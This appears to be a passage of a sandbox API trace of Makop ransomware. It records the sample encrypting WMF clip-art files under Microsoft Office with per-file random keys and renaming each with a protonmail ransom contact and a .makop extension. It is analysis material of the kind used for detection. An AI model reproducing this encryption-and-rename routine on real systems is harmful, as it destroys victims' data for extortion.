[0124.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.856] CloseHandle (hObject=0xf0) returned 1 [0124.856] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0124.856] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0124.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.857] GetProcessHeap () returned 0x48a0000 [0124.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.857] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.857] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.862] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.862] GetProcessHeap () returned 0x48a0000 [0124.862] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.862] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.862] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.862] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.863] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.863] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.863] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.863] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.865] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.865] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18c4, lpOverlapped=0x0) returned 1 [0124.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18d0, dwBufLen=0x18d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18d0) returned 1 [0124.866] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18d0, lpOverlapped=0x0) returned 1 [0124.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.867] SetEndOfFile (hFile=0xf0) returned 1 [0124.874] GetProcessHeap () returned 0x48a0000 [0124.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.874] GetProcessHeap () returned 0x48a0000 [0124.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.874] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.876] CloseHandle (hObject=0xf0) returned 1 [0124.876] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0124.876] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0124.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.877] GetProcessHeap () returned 0x48a0000 [0124.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.877] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.882] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.882] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.882] GetProcessHeap () returned 0x48a0000 [0124.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.882] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.882] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.883] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.883] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.883] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.883] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.883] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2628, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2628, lpOverlapped=0x0) returned 1 [0124.885] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2630, dwBufLen=0x2630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2630) returned 1 [0124.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2630, lpOverlapped=0x0) returned 1 [0124.885] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.885] SetEndOfFile (hFile=0xf0) returned 1 [0124.892] GetProcessHeap () returned 0x48a0000 [0124.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.892] GetProcessHeap () returned 0x48a0000 [0124.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.893] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.894] CloseHandle (hObject=0xf0) returned 1 [0124.894] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0124.894] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0124.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.895] GetProcessHeap () returned 0x48a0000 [0124.895] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.895] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.900] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.900] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.900] GetProcessHeap () returned 0x48a0000 [0124.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.900] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.902] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1884, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1884, lpOverlapped=0x0) returned 1 [0124.903] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1890, dwBufLen=0x1890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1890) returned 1 [0124.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1890, lpOverlapped=0x0) returned 1 [0124.903] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.904] SetEndOfFile (hFile=0xf0) returned 1 [0124.911] GetProcessHeap () returned 0x48a0000 [0124.911] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.911] GetProcessHeap () returned 0x48a0000 [0124.911] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.911] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.912] CloseHandle (hObject=0xf0) returned 1 [0124.912] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0124.913] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0124.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.915] GetProcessHeap () returned 0x48a0000 [0124.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.915] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.919] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.919] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.919] GetProcessHeap () returned 0x48a0000 [0124.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.921] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.921] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40f8, lpOverlapped=0x0) returned 1 [0124.924] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4100, dwBufLen=0x4100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4100) returned 1 [0124.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 